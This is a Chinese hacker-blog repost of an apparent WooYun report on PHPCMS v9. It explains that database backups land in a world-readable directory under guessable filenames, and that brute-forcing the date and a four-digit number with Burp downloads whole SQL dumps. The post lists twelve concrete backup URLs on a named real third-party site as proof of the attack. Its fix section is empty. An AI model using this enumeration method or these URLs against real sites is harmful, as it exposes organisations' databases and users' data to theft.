记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

PHPCMSV9鸡肋型Oday直接获取数据库

2014-05-27 00:05

http://www.phpcms.cn/html/download/

phpcms_v9.5.2_UTF8.zip

我们审计下这些文件

phpcms\modules\admin\templates\database_export.tpl.php

phpcms\modules\admin\templates\database_import.tpl.php

这是phpcms_v9.后台数据库备份的配置文件

本身没问题 问题在他备份的路径:caches\bakup\default\ 0777权限 备份sql可直接下载

那么这就存在逻辑权限问题了 我们回头看那2文件输出配置:

phpcmstables_+日期_大小(官方这么说?)_1.sql

很鸡肋吧 只要后台备份过数据库 通过burp工具我们进行枚举那个日期和4位大小序列即可

测试方法1:

本地架phpcmsv9 备份一次然后按url直接下载就是了

测试方法2:

(网络枚举实例 ——单一多例测试效果)

http://lbs.189.cn/caches/bakup/default/phpcmstables_20121002_4005_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20121025_1622_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20121109_8080_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130111_8458_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130310_2536_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130312_1791_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130312_9620_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130315_1614_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130409_2817_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130422_3301_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130607_8450_1.sql

http://lbs.189.cn/caches/bakup/default/phpcmstables_20130618_6409_1.sql

。。。。很神奇的官方默认配置

漏洞证明:

php1.jpg

php2.jpg

修复方案:


知识来源: www.wooyun.org/bugs/wooyun-2014-052005

阅读:91040 | 评论:0 | 标签:cms

想收藏或者和大家分享这篇好文章→复制链接地址

“PHPCMSV9鸡肋型Oday直接获取数据库”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

ANNOUNCE

ADS

标签云